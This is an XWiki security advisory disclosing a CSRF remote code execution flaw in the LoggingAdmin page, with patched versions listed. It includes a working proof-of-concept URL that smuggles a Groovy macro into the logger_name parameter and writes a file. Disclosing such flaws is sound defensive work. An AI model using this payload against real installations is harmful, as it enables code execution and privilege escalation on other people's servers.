Impact
Steps to reproduce:
It is possible to trick a user with programming rights into visiting /xwiki/bin/view/XWiki/LoggingAdmin?loggeraction_set=1&logger_name=%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dnew+File%28%22%2Ftmp%2Fexploit.txt%22%29.withWriter+%7B+out+-%3E+out.println%28%22created+from+notification+filter+preferences%21%22%29%3B+%7D%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D&logger_level=TRACE where is the URL of your XWiki installation, e.g., by embedding an image with this URL in a document that is viewed by a user with programming rights.
Expected result:
No file in /tmp/exploit.txt has been created.
Actual result:
The file
/tmp/exploit.txtis been created with content "created from notification filter preferences!". This demonstrates a CSRF remote code execution vulnerability that could also be used for privilege escalation or data leaks (if the XWiki installation can reach remote hosts).Patches
The problem has been patched on XWiki 14.4.7, and 14.10.
Workarounds
The issue can be fixed manually applying this patch.
